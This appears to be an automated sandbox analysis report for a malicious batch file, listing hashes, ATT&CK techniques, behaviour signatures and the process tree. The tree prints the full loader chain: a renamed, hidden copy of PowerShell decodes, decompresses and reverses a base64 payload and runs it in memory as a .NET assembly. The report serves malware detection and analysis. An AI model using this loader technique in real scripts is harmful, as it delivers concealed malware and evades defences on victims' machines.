b946459b031ba8f36ffc81ce67c805dbf8761f2bfe7819944cb022f1481d4f40

General

Target

Cobro_714908746632292158322869967546175789167005896538554858756104291.bat
Size

1.6MB
MD5

ef049bc637c98aa00c35467c7a02afcb
SHA1

b2d498988a2375d988d096466faaf4faafc038ec
SHA256

7f8daa38efb7829976dc3a14dc840a4ccfd312df6e335e3b1620c6f0e9535621
SHA512

0e10f6c8cd229b4cf26657ccb5f3a41c2ab3ffc6c0606654e95dc645d1bb40799fdebf255ee0814d6a83371be78cf026d4ebaeee5ac35b49413e36ae41ecd5eb
SSDEEP

24576:c2UCeOG76RFbdt4km7EoWbKMu2HpNexVcVfpIeD47I79nwS4/pfapm40iQc4VOkp:cv7Ibb/1bKKHpNexVwzrhtfLg

Score

8^/10

discovery evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2368	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
2356	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2356	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2356	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 2100	1804	cmd.exe	31
PID 1804 wrote to memory of 2100	1804	cmd.exe	31
PID 1804 wrote to memory of 2100	1804	cmd.exe	31
PID 1804 wrote to memory of 2112	1804	cmd.exe	32
PID 1804 wrote to memory of 2112	1804	cmd.exe	32
PID 1804 wrote to memory of 2112	1804	cmd.exe	32
PID 1804 wrote to memory of 2368	1804	cmd.exe	33
PID 1804 wrote to memory of 2368	1804	cmd.exe	33
PID 1804 wrote to memory of 2368	1804	cmd.exe	33
PID 1804 wrote to memory of 2356	1804	cmd.exe	34
PID 1804 wrote to memory of 2356	1804	cmd.exe	34
PID 1804 wrote to memory of 2356	1804	cmd.exe	34
PID 1804 wrote to memory of 2356	1804	cmd.exe	34

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2368	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2100
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
  2⤵
  PID:2112
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2368
- C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
  C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje -WindowStyle hidden -command "$Dqvarshu = get-content 'C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat' | Select-Object -Last 1; $Optnhxx = [System.Convert]::FromBase64String($Dqvarshu);$Lkxze = New-Object System.IO.MemoryStream( , $Optnhxx );$Zhqhumhc = New-Object System.IO.MemoryStream;$Efwnhmiankp = New-Object System.IO.Compression.GzipStream $Lkxze, ([IO.Compression.CompressionMode]::Decompress);$Efwnhmiankp.CopyTo( $Zhqhumhc );$Efwnhmiankp.Close();$Lkxze.Close();[byte[]] $Optnhxx = $Zhqhumhc.ToArray();[Array]::Reverse($Optnhxx); $Zjiqawmtdc = [System.AppDomain]::CurrentDomain.Load($Optnhxx); $Inmzsxjtyul = $Zjiqawmtdc.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Inmzsxjtyul.DeclaringType, $Inmzsxjtyul.Name).DynamicInvoke() | Out-Null"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

2

T1564

Hidden Files and Directories

2

T1564.001

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2356-5-0x00000000742E1000-0x00000000742E2000-memory.dmp

Filesize
4KB

Download
memory/2356-6-0x00000000742E0000-0x000000007488B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-7-0x00000000742E0000-0x000000007488B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-8-0x00000000742E0000-0x000000007488B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-9-0x00000000742E0000-0x000000007488B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-10-0x00000000742E0000-0x000000007488B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads